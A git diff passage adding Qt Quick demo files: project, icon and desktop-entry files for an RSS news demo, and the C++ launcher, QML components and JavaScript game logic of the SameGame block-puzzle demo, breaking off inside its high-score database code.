diff --git a/demos/declarative/rssnews/rssnews.qmlproject b/demos/declarative/rssnews/rssnews.qmlproject
new file mode 100644
index 00000000..608be8d3
--- /dev/null
+++ b/demos/declarative/rssnews/rssnews.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/rssnews"
+ }
+ JavaScriptFiles {
+ directory: "qml/rssnews"
+ }
+ ImageFiles {
+ directory: "qml/rssnews"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/demos/declarative/rssnews/rssnews.svg b/demos/declarative/rssnews/rssnews.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/demos/declarative/rssnews/rssnews.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/demos/declarative/rssnews/rssnews64.png b/demos/declarative/rssnews/rssnews64.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/demos/declarative/rssnews/rssnews64.png
Binary files differ
diff --git a/demos/declarative/rssnews/rssnews80.png b/demos/declarative/rssnews/rssnews80.png
new file mode 100644
index 00000000..6ad8096c
--- /dev/null
+++ b/demos/declarative/rssnews/rssnews80.png
Binary files differ
diff --git a/demos/declarative/rssnews/rssnews_harmattan.desktop b/demos/declarative/rssnews/rssnews_harmattan.desktop
new file mode 100644
index 00000000..df6303ff
--- /dev/null
+++ b/demos/declarative/rssnews/rssnews_harmattan.desktop
@@ -0,0 +1,11 @@
+[Desktop Entry]
+Encoding=UTF-8
+Version=1.0
+Type=Application
+Terminal=false
+Name=rssnews
+Exec=/usr/bin/single-instance /opt/rssnews/bin/rssnews
+Icon=/usr/share/icons/hicolor/80x80/apps/rssnews80.png
+X-Window-Icon=
+X-HildonDesk-ShowInToolbar=true
+X-Osso-Type=application/x-executable
diff --git a/demos/declarative/samegame/main.cpp b/demos/declarative/samegame/main.cpp
new file mode 100644
index 00000000..819e86b1
--- /dev/null
+++ b/demos/declarative/samegame/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qmlapplicationviewer.h"
+#include <QtGui/QApplication>
+
+Q_DECL_EXPORT int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile(QLatin1String("qml/samegame/samegame.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/demos/declarative/samegame/qml/samegame/SamegameCore/BoomBlock.qml b/demos/declarative/samegame/qml/samegame/SamegameCore/BoomBlock.qml
new file mode 100644
index 00000000..b244238b
--- /dev/null
+++ b/demos/declarative/samegame/qml/samegame/SamegameCore/BoomBlock.qml
@@ -0,0 +1,109 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.1
+import Qt.labs.particles 1.0
+
+Item {
+ id: block
+ property bool dying: false
+ property bool spawned: false
+ property int type: 0
+
+ Behavior on x {
+ enabled: spawned;
+ SpringAnimation{ spring: 2; damping: 0.2 }
+ }
+ Behavior on y {
+ SpringAnimation{ spring: 2; damping: 0.2 }
+ }
+
+ Image {
+ id: img
+ source: {
+ if(type == 0){
+ "pics/redStone.png";
+ } else if(type == 1) {
+ "pics/blueStone.png";
+ } else {
+ "pics/greenStone.png";
+ }
+ }
+ opacity: 0
+ Behavior on opacity { NumberAnimation { duration: 200 } }
+ anchors.fill: parent
+ }
+
+ Particles {
+ id: particles
+
+ width: 1; height: 1
+ anchors.centerIn: parent
+
+ emissionRate: 0
+ lifeSpan: 700; lifeSpanDeviation: 600
+ angle: 0; angleDeviation: 360;
+ velocity: 100; velocityDeviation: 30
+ source: {
+ if(type == 0){
+ "pics/redStar.png";
+ } else if (type == 1) {
+ "pics/blueStar.png";
+ } else {
+ "pics/greenStar.png";
+ }
+ }
+ }
+
+ states: [
+ State {
+ name: "AliveState"; when: spawned == true && dying == false
+ PropertyChanges { target: img; opacity: 1 }
+ },
+
+ State {
+ name: "DeathState"; when: dying == true
+ StateChangeScript { script: particles.burst(50); }
+ PropertyChanges { target: img; opacity: 0 }
+ StateChangeScript { script: block.destroy(1000); }
+ }
+ ]
+}
diff --git a/demos/declarative/samegame/qml/samegame/SamegameCore/Button.qml b/demos/declarative/samegame/qml/samegame/SamegameCore/Button.qml
new file mode 100644
index 00000000..df7ac56f
--- /dev/null
+++ b/demos/declarative/samegame/qml/samegame/SamegameCore/Button.qml
@@ -0,0 +1,75 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.1
+
+Rectangle {
+ id: container
+
+ property string text: "Button"
+
+ signal clicked
+
+ width: buttonLabel.width + 20; height: buttonLabel.height + 20
+ smooth: true
+ border { width: 1; color: Qt.darker(activePalette.button) }
+ radius: 8
+ color: activePalette.button
+
+ gradient: Gradient {
+ GradientStop {
+ position: 0.0
+ color: {
+ if (mouseArea.pressed)
+ return activePalette.dark
+ else
+ return activePalette.light
+ }
+ }
+ GradientStop { position: 1.0; color: activePalette.button }
+ }
+
+ MouseArea { id: mouseArea; anchors.fill: parent; onClicked: container.clicked() }
+
+ Text {
+ id: buttonLabel; text: container.text; anchors.centerIn: container; color: activePalette.buttonText; font.pixelSize: 24
+ }
+}
diff --git a/demos/declarative/samegame/qml/samegame/SamegameCore/Dialog.qml b/demos/declarative/samegame/qml/samegame/SamegameCore/Dialog.qml
new file mode 100644
index 00000000..3c86f366
--- /dev/null
+++ b/demos/declarative/samegame/qml/samegame/SamegameCore/Dialog.qml
@@ -0,0 +1,77 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.1
+
+Rectangle {
+ id: page
+
+ property Item text: dialogText
+
+ signal closed
+ signal opened
+ function forceClose() {
+ if(page.opacity == 0)
+ return; //already closed
+ page.closed();
+ page.opacity = 0;
+ }
+
+ function show(txt) {
+ page.opened();
+ dialogText.text = txt;
+ page.opacity = 1;
+ }
+
+ width: dialogText.width + 20; height: dialogText.height + 20
+ color: "white"
+ border.width: 1
+ opacity: 0
+ visible: opacity > 0
+ Behavior on opacity {
+ NumberAnimation { duration: 1000 }
+ }
+
+ Text { id: dialogText; anchors.centerIn: parent; text: "Hello World!" }
+
+ MouseArea { anchors.fill: parent; onClicked: forceClose(); }
+}
+
diff --git a/demos/declarative/samegame/qml/samegame/SamegameCore/pics/background.png b/demos/declarative/samegame/qml/samegame/SamegameCore/pics/background.png
new file mode 100644
index 00000000..3734a277
--- /dev/null
+++ b/demos/declarative/samegame/qml/samegame/SamegameCore/pics/background.png
Binary files differ
diff --git a/demos/declarative/samegame/qml/samegame/SamegameCore/pics/blueStar.png b/demos/declarative/samegame/qml/samegame/SamegameCore/pics/blueStar.png
new file mode 100644
index 00000000..ff9588f8
--- /dev/null
+++ b/demos/declarative/samegame/qml/samegame/SamegameCore/pics/blueStar.png
Binary files differ
diff --git a/demos/declarative/samegame/qml/samegame/SamegameCore/pics/blueStone.png b/demos/declarative/samegame/qml/samegame/SamegameCore/pics/blueStone.png
new file mode 100644
index 00000000..20e43c75
--- /dev/null
+++ b/demos/declarative/samegame/qml/samegame/SamegameCore/pics/blueStone.png
Binary files differ
diff --git a/demos/declarative/samegame/qml/samegame/SamegameCore/pics/greenStar.png b/demos/declarative/samegame/qml/samegame/SamegameCore/pics/greenStar.png
new file mode 100644
index 00000000..cd068547
--- /dev/null
+++ b/demos/declarative/samegame/qml/samegame/SamegameCore/pics/greenStar.png
Binary files differ
diff --git a/demos/declarative/samegame/qml/samegame/SamegameCore/pics/greenStone.png b/demos/declarative/samegame/qml/samegame/SamegameCore/pics/greenStone.png
new file mode 100644
index 00000000..b568a190
--- /dev/null
+++ b/demos/declarative/samegame/qml/samegame/SamegameCore/pics/greenStone.png
Binary files differ
diff --git a/demos/declarative/samegame/qml/samegame/SamegameCore/pics/redStar.png b/demos/declarative/samegame/qml/samegame/SamegameCore/pics/redStar.png
new file mode 100644
index 00000000..0a4dffe5
--- /dev/null
+++ b/demos/declarative/samegame/qml/samegame/SamegameCore/pics/redStar.png
Binary files differ
diff --git a/demos/declarative/samegame/qml/samegame/SamegameCore/pics/redStone.png b/demos/declarative/samegame/qml/samegame/SamegameCore/pics/redStone.png
new file mode 100644
index 00000000..36b09a26
--- /dev/null
+++ b/demos/declarative/samegame/qml/samegame/SamegameCore/pics/redStone.png
Binary files differ
diff --git a/demos/declarative/samegame/qml/samegame/SamegameCore/pics/star.png b/demos/declarative/samegame/qml/samegame/SamegameCore/pics/star.png
new file mode 100644
index 00000000..defbde53
--- /dev/null
+++ b/demos/declarative/samegame/qml/samegame/SamegameCore/pics/star.png
Binary files differ
diff --git a/demos/declarative/samegame/qml/samegame/SamegameCore/pics/yellowStone.png b/demos/declarative/samegame/qml/samegame/SamegameCore/pics/yellowStone.png
new file mode 100644
index 00000000..b1ce7621
--- /dev/null
+++ b/demos/declarative/samegame/qml/samegame/SamegameCore/pics/yellowStone.png
Binary files differ
diff --git a/demos/declarative/samegame/qml/samegame/SamegameCore/qmldir b/demos/declarative/samegame/qml/samegame/SamegameCore/qmldir
new file mode 100644
index 00000000..e17b1f5d
--- /dev/null
+++ b/demos/declarative/samegame/qml/samegame/SamegameCore/qmldir
@@ -0,0 +1,3 @@
+BoomBlock BoomBlock.qml
+Button Button.qml
+Dialog Dialog.qml
diff --git a/demos/declarative/samegame/qml/samegame/SamegameCore/samegame.js b/demos/declarative/samegame/qml/samegame/SamegameCore/samegame.js
new file mode 100644
index 00000000..d7b827a1
--- /dev/null
+++ b/demos/declarative/samegame/qml/samegame/SamegameCore/samegame.js
@@ -0,0 +1,288 @@
+/* This script file handles the game logic */
+
+var maxColumn = 10;
+var maxRow = 15;
+var maxIndex = maxColumn*maxRow;
+var board = new Array(maxIndex);
+var blockSrc = "SamegameCore/BoomBlock.qml";
+var scoresURL = "";
+var gameDuration;
+var component = Qt.createComponent(blockSrc);
+var highScoreBar = 0;
+
+// Index function used instead of a 2D array
+function index(column, row)
+{
+ return column + row * maxColumn;
+}
+
+function timeStr(msecs)
+{
+ var secs = Math.floor(msecs/1000);
+ var m = Math.floor(secs/60);
+ var ret = "" + m + "m " + (secs%60) + "s";
+ return ret;
+}
+
+function startNewGame()
+{
+ // Delete blocks from previous game
+ for (var i = 0; i < maxIndex; i++) {
+ if (board[i] != null)
+ board[i].destroy();
+ }
+
+ // Calculate board size
+ maxColumn = Math.floor(gameCanvas.width/gameCanvas.blockSize);
+ maxRow = Math.floor(gameCanvas.height/gameCanvas.blockSize);
+ maxIndex = maxRow * maxColumn;
+
+ // Close dialogs
+ nameInputDialog.forceClose();
+ dialog.forceClose();
+
+ // Initialize Board
+ board = new Array(maxIndex);
+ gameCanvas.score = 0;
+ for (var column = 0; column < maxColumn; column++) {
+ for (var row = 0; row < maxRow; row++) {
+ board[index(column, row)] = null;
+ createBlock(column, row);
+ }
+ }
+ gameDuration = new Date();
+}
+
+var fillFound; // Set after a floodFill call to the number of blocks found
+var floodBoard; // Set to 1 if the floodFill reaches off that node
+
+// NOTE: Be careful with vars named x,y, as the calling object's x,y are still in scope
+function handleClick(x,y)
+{
+ var column = Math.floor(x/gameCanvas.blockSize);
+ var row = Math.floor(y/gameCanvas.blockSize);
+ if (column >= maxColumn || column < 0 || row >= maxRow || row < 0)
+ return;
+ if (board[index(column, row)] == null)
+ return;
+ // If it's a valid block, remove it and all connected (does nothing if it's not connected)
+ floodFill(column,row, -1);
+ if (fillFound <= 0)
+ return;
+ gameCanvas.score += (fillFound - 1) * (fillFound - 1);
+ shuffleDown();
+ victoryCheck();
+}
+
+function floodFill(column,row,type)
+{
+ if (board[index(column, row)] == null)
+ return;
+ var first = false;
+ if (type == -1) {
+ first = true;
+ type = board[index(column,row)].type;
+
+ // Flood fill initialization
+ fillFound = 0;
+ floodBoard = new Array(maxIndex);
+ }
+ if (column >= maxColumn || column < 0 || row >= maxRow || row < 0)
+ return;
+ if (floodBoard[index(column, row)] == 1 || (!first && type != board[index(column, row)].type))
+ return;
+ floodBoard[index(column, row)] = 1;
+ floodFill(column + 1, row, type);
+ floodFill(column - 1, row, type);
+ floodFill(column, row + 1, type);
+ floodFill(column, row - 1, type);
+ if (first == true && fillFound == 0)
+ return; // Can't remove single blocks
+ board[index(column, row)].dying = true;
+ board[index(column, row)] = null;
+ fillFound += 1;
+}
+
+function shuffleDown()
+{
+ // Fall down
+ for (var column = 0; column < maxColumn; column++) {
+ var fallDist = 0;
+ for (var row = maxRow - 1; row >= 0; row--) {
+ if (board[index(column,row)] == null) {
+ fallDist += 1;
+ } else {
+ if (fallDist > 0) {
+ var obj = board[index(column, row)];
+ obj.y = (row + fallDist) * gameCanvas.blockSize;
+ board[index(column, row + fallDist)] = obj;
+ board[index(column, row)] = null;
+ }
+ }
+ }
+ }
+ // Fall to the left
+ fallDist = 0;
+ for (column = 0; column < maxColumn; column++) {
+ if (board[index(column, maxRow - 1)] == null) {
+ fallDist += 1;
+ } else {
+ if (fallDist > 0) {
+ for (row = 0; row < maxRow; row++) {
+ obj = board[index(column, row)];
+ if (obj == null)
+ continue;
+ obj.x = (column - fallDist) * gameCanvas.blockSize;
+ board[index(column - fallDist,row)] = obj;
+ board[index(column, row)] = null;
+ }
+ }
+ }
+ }
+}
+
+function victoryCheck()
+{
+ // Awards bonuses for no blocks left
+ var deservesBonus = true;
+ for (var column = maxColumn - 1; column >= 0; column--)
+ if (board[index(column, maxRow - 1)] != null)
+ deservesBonus = false;
+ if (deservesBonus)
+ gameCanvas.score += 500;
+ // Checks for game over
+ if (deservesBonus || !(floodMoveCheck(0, maxRow - 1, -1))) {
+ gameDuration = new Date() - gameDuration;
+ if(gameCanvas.score > highScoreBar){
+ nameInputDialog.show("You won! Please enter your name: ");
+ nameInputDialog.initialWidth = nameInputDialog.text.width + 20;
+ if (nameInputDialog.name == "")
+ nameInputDialog.width = nameInputDialog.initialWidth;
+ nameInputDialog.text.opacity = 0; // Just a spacer
+ }else{
+ dialog.show("You won!");
+ }
+ }
+}
+
+// Only floods up and right, to see if it can find adjacent same-typed blocks
+function floodMoveCheck(column, row, type)
+{
+ if (column >= maxColumn || column < 0 || row >= maxRow || row < 0)
+ return false;
+ if (board[index(column, row)] == null)
+ return false;
+ var myType = board[index(column, row)].type;
+ if (type == myType)
+ return true;
+ return floodMoveCheck(column + 1, row, myType) ||
+ floodMoveCheck(column, row - 1, board[index(column, row)].type);
+}
+
+function createBlock(column,row)
+{
+ // Note that we don't wait for the component to become ready. This will
+ // only work if the block QML is a local file. Otherwise the component will
+ // not be ready immediately. There is a statusChanged signal on the
+ // component you could use if you want to wait to load remote files.
+ if(component.status == Component.Ready){
+ var dynamicObject = component.createObject(gameCanvas,
+ {"type": Math.floor(Math.random() * 3),
+ "x": column*gameCanvas.blockSize,
+ "width": gameCanvas.blockSize,
+ "height": gameCanvas.blockSize});
+ if(dynamicObject == null){
+ console.log("error creating block");
+ console.log(component.errorString());
+ return false;
+ }
+ dynamicObject.y = row*gameCanvas.blockSize;
+ dynamicObject.spawned = true;
+
+ board[index(column,row)] = dynamicObject;
+ }else{
+ console.log("error loading block component");
+ console.log(component.errorString());
+ return false;
+ }
+ return true;
+}
+
+function initHighScoreBar()
+{
+ if(scoresURL != "")
+ return true;//don't query remote scores
+ var db = openDatabaseSync(
+ "SameGameScores",
+ "1.0",
+ "Local SameGame High Scores",
+ 100
+ );
+ db.transaction(
+ function(tx) {
+ tx.executeSql('CREATE TABLE IF NOT EXISTS Scores(name TEXT, score NUMBER, gridSize TEXT, time NUMBER)');
+ // Only show results for the current grid size
+ var rs = tx.executeSql('SELECT * FROM Scores WHERE gridSize = "'
